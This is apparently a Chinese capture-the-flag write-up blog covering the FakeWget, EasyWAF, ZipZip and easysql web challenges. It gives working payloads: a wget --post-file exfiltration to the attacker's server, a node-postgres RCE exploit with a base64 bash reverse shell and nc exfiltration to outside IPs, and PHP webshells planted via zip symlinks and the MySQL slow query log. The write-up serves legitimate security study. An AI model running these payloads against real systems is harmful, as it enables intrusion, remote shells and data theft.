FakeWget

利用sh下grep命令正则缺陷绕过正则检查

这个题,就非常的可惜,具体的就不说了,太丢人了,总之十分拉跨,特别可惜,究极下饭。

扫目录,得到/console,/wget,/flag页面得到提示flag在/flag_is_here

/wget可以发送url进行wget的操作,跟curl一样,也是可以发送post请求滴,这里对输入的url有检测,不允许有空格和一些特殊字符

这里其实有个原题[纵横杯 2020]magic_download,几乎是一样的,sh在grep时可以用换行的操作来绕过

payload

function senduri() {
	var uri = 'http://your_vps_ip:port/\\n?\t--post-file=flag_is_here'
	var encrypt = new JSEncrypt();
	publicKey = '-----BEGIN PUBLIC KEY-----\
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoFH2atPqJOH6yezxEw9s\
eStp0j7hN3cKKlANZpAv8RRhpDxFcob47OwkyUlsJp6tdvSJBtsJ5KCNYIomdqc7\
+f4PJvShHatMLGBRFjUkr0aunqq9LDobEHrzwSEEX6V0V+73EdbieYxFHCz2cXaB\
MpnIK19c+u6sgVJFjZ+oggVyKuOtOUscnzzrMhOWGl+eXk+dBe0wjSTrq84zvRI1\
94uTehhY/8hzZjkQavV8NWq0b7l6hJHsO7mp2tGye1npYRQ/tZCEMkzO+PaAkPf6\
H3CyuVgbdMJcuSBJT8kBRQ6P16skZIqrY+NRmdSJmMoGgR9NYVvk8soeSj4MHRpb\
rwIDAQAB\
-----END PUBLIC KEY-----';
	encrypt.setPublicKey(publicKey);
	encryptdata = encrypt.encrypt(uri);
	$.post("/wget", {
		encryptdata: encryptdata
		});
	$.get("/wget", {});
	}

EasyWAF

different cookie means node pg vuln

pay attention to the hint different cookie different means

他妈的 经典比赛结束找到原题,真一模一样,吐了

https://github.com/orangetw/My-CTF-Web-Challenges#sql-so-hard

https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/sql-so-hard/exploit.py

#!/usr/bin/node

/**
 *  @HITCON CTF 2017
 *  @Author Orange Tsai
 */

const qs = require("qs");
const fs = require("fs");
const pg = require("pg");
const mysql = require("mysql");
const crypto = require("crypto");
const express = require("express");

const pool = mysql.createPool({
    connectionLimit: 100,
    host: "localhost",
    user: "ban",
    password: "ban",
    database: "bandb",
});

const client = new pg.Client({
    host: "localhost",
    user: "userdb",
    password: "userdb",
    database: "userdb",
});
client.connect();

const KEYWORDS = [
    "select",
    "union",
    "and",
    "or",
    "\\",
    "/",
    "*",
    " "
]

function waf(string) {
    for (var i in KEYWORDS) {
        var key = KEYWORDS[i];
        if (string.toLowerCase().indexOf(key) !== -1) {
            return true;
        }
    }
    return false;
}

const app = express();
app.use((req, res, next) => {
   var data = "";
   req.on("data", (chunk) => { data += chunk})
   req.on("end", () =>{
       req.body = qs.parse(data);
       next();
   })
})


app.all("/*", (req, res, next) => {
    if ("show_source" in req.query) {
        return res.end(fs.readFileSync(__filename));
    }
    if (req.path == "/") {
        return next();
    }

    var ip = req.connection.remoteAddress;
    var payload = "";
    for (var k in req.query) {
        if (waf(req.query[k])) {
            payload = req.query[k];
            break;
        }
    }
    for (var k in req.body) {
        if (waf(req.body[k])) {
            payload = req.body[k];
            break;
        }
    }

    if (payload.length > 0) {
        var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`;
    } else {
        var sql = `SELECT ?,?,?`;
    }

    return pool.query(sql, [ip, payload, payload], (err, rows) => {
        var sql = `SELECT * FROM blacklists WHERE ip=?`;
        return pool.query(sql, [ip], (err,rows) => {
            if ( rows.length == 0) {
                return next();
            } else {
                return res.end("Shame on you");
            }

        });
    });

});


app.get("/", (req, res) => {
    var sql = `SELECT * FROM blacklists GROUP BY ip`;
    return pool.query(sql, [], (err,rows) => {
        res.header("Content-Type", "text/html");
        var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n";
        for(var r in rows) {
            html += `${parseInt(r)+1}. ${rows[r].ip}\n`;

        }
        return res.end(html);
    });

});

app.post("/reg", (req, res) => {
    var username = req.body.username;
    var password = req.body.password;
    if (!username || !password || username.length < 4 || password.length < 4) {
        return res.end("Bye");
    }

    password = crypto.createHash("md5").update(password).digest("hex");
    var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
    return client.query(sql.split(";")[0], (err, rows) => {
        if (rows && rows.rowCount == 1) {
            return res.end("Reg OK");
        } else {
            return res.end("User taken");
        }
    });
});

app.listen(31337, () => {
    console.log("Listen OK");
});

涉及到的主要知识点有三个,一个一个说。

CVE-2017-16082: node-progresql-rce

参考:node.js + postgres 从注入到Getshell | vulhub: node/CVE-2017-16082 | PostgreSQL 认证方式详解

docker中的示例app.js,之后连上docker中的app.js用vscode远程调试

const Koa = require('koa')
const { Client } = require('pg')

const app = new Koa()
const client = new Client({
    user: "postgres",
    password: "postgres",
    database: "example",
    host: "db",
    port: 5432
})
client.connect()

app.use(async ctx => {
    ctx.response.type = 'html'

    let id = ctx.request.query.id || 1
    let sql = `SELECT * FROM "user" WHERE "id" = ${id}`
    const res = await client.query(sql)

    ctx.body = `<html>
                    <body>
                        <table>
                            <tr><th>id</th><td>${res.rows[0].id}</td></tr>
                            <tr><th>name</th><td>${res.rows[0].name}</td></tr>
                            <tr><th>score</th><td>${res.rows[0].score}</td></tr>
                        </table>
                    </body>
                </html>`
})

app.listen(3000)

显然17行的let sql = 语句有sql的可能,不过注意这里的可控参数在where之后而不在select之后,我们没法轻易的控制字段名,即使是用联合查询

select * from "user" where id=-1 union slect 1,2,3 as "\\'+console.log(process.enc)]=null;//"

第二个select后的字段名也不会被postgres返回,只会回显第一个查询结果

但是我们可以直接执行多语句

/?id=1;select+1+as+"\'+console.log(process.env)]=null;//"

会返回500,但是已经被正常执行语句了,打印出了环境变量

image-20211117162422478

原理呢,就是经典的转义不全

var inlineParser = function (fieldName, i) {
  return "\nthis['" +
    // fields containing single quotes will break
    // the evaluated javascript unless they are escaped
    // see https://github.com/brianc/node-postgres/issues/507
    // Addendum: However, we need to make sure to replace all
    // occurences of apostrophes, not just the first one.
    // See https://github.com/brianc/node-postgres/issues/934
    fieldName.replace(/'/g, "\\'") +
    "'] = " +
    'rowData[' + i + '] == null ? null : parsers[' + i + '](rowData[' + i + ']);'
}

fileName就是字段名,只对单引号前加反斜杠fileName.replace(/'/g, "\\'"),我们只要再加一个反斜杠就能逃逸了,所以我们就有了可控的字段名

我们上面的payload传入之后会是这样

'SELECT * FROM "user" WHERE "id" = 1;select 1 as "\\' console.log(process.env)]=null;//"'

诶,闭合了;如果在中间解析的地方下断点,可以看到传入Function类的函数体ctorBody值为

this['\\'+console.log(process.env)]=null;//'] = rowData[0] == null ? null : parsers[0](rowData[0]);

确实,执行的就是我们的恶意语句

构造反弹shell的poc,执行即可反弹shell(不成功的话记得把urlencode的special chars勾上)

/?id=1;SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xMDEuMzUuMTE0LjEwNy84NDI2IDA+JjE=|base64 -d|bash`)//"

image-20211117164222973

其中核心payload分割后用b64编码+反引号来执行语句;Function环境下没有require()函数,不能获得child_process模块,使用process.mainModule.constructor._load来代替require

修复方法是将fileName.replace(/'/g, "\\'")修改为escape(fileName),对大部分有问题字符进行转义

mysql的max_allowed_packet

默认最大16M,超过则关闭连接不执行sql语句,不会把我们此次查询的记录保留下来,可以绕过waf

postgresql特殊语句

特性:支持将16进制的值转换为unicode字符,并且可以自定义转义符

利用这一点可以绕waf,空格用\t绕过,自定义转义符设为感叹号

','')\tON\tCONFLICT\t(username)\tDO\tUPDATE\tSET\tusername=''\tRETURNING\t1\tAS\tU&"!005c!0027+(r=process.mainModule.require,l=!0022!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022!002freadflag|nc!0020123.123!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022.123.123!00201234!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(r(!0022child_process!0022).execSync(l))]!002f!002f"\tUESCAPE\t'!';

这道题的sql注入点在update之后

INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING

一样的思路,先闭合,在构造正常的js语句

""','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc 10.188.2.20 9999`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""

还得结合一下前面那个16M的溢出

str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))

最后是完整的exp,来自于orange佬

from random import randint
import requests

# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc 10.188.2.20 9999`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)


username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
            'username': username+payload,
                'password': 'AAAAAA'
                }
print 'ok'
r = requests.post('http://10.188.2.20:12345/reg', data=data);
print r.content

深育这个题不过是把白盒审计换成了黑盒,思路一模一样,就不细嗦了

参考wp:hitconDockerfile/hitcon-ctf-2017/sql-so-hard/(有这位师傅自制的docker可以自行复现)

ZipZip

页面源码提示:听说压缩包文件也能getshell;压缩包的一个常考点是软链接任意文件读取,不过脑子太木了没想到如何写shell进去,看了wp以后才明白

上传zip之后回显的路径是/tmp/uploads,显然无法正常访问;这里可以利用软链接将shell写入/var/www/html

首先创建一个指向/var/www/html/目录的软链接并zip压缩上传

ln -s /var/www/html/ l1
zip -ry l1.zip l1

然后建立一个和软链接名字相同的目录,在里面写shell,之后将这个同名的目录整个zip压缩上传

# 当前目录/var/www/html/
mkdir l1 && cd l1
echo '<?php eval($_GET['wuhu']);?>' > shell.php
cd ../	# 继续转到/var/www/html/
zip -r l2.zip ./*

即可写入shell

***WebLog

一打开就会下载一个log文件,但是没什么内容,修改get参数为/?logname=logs/info/info.2021-11-12.log可以得到真正的log,可以看到是java,我爬了

easysql

long_query_time

image-20211114115940931

常用的select、单双引号、括号、分号、set、show、variables、等都没有过滤,语句闭合方式为括号,百名单为数据库记录行数,使用1);{sqlinject}--+可以闭合查询语句+堆叠注入

show variables like '%slow_query_log%';	# 查询慢日志记录是否开启
setglobal slow_query_log=1;	# 开启慢查询日志
setglobal slow_query_log_file='/var/www/html/helpyou2findflag.php'	# 设置慢查询日志位置

慢查询,顾名思义时间长的查询记录会被记录下来,我们直接把long_query_time的默认值改掉,然后写入shell

1);setglobal long_query_time=0.000001;--+
1);show variables like 'long_query_time'l--+
1);select '<?php $_REQUEST[a]($_REQUEST[b])?>';--+

或者用benchmark这样的函数延长执行时间

1);set GLOBAL slow_query_log_file='/var/www/html/helpyou2findflag.php';set GLOBAL slow_query_log=on;set GLOBAL log_queries_not_using_indexes=on;select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e from mysql.db where BENCHMARK(5000000000,MD5(0x5476556d));%23

flag位于/home/rainbow/ssh.log


比赛能暴露出我太多短板了,问题挺大的

首先是容易手忙脚乱,第二是他妈的跟个脑瘫一样找到原题都不会变通,第三是就会瞎bb不会学java,第四是缺乏跟队友的沟通

就差一题就进线下了,这一题就折在我这里,真是我全责,真的很对不起另外的pwn爷和密码爷,太丢人了,我先磕一个,然后给自己两拳

太他妈可惜了,草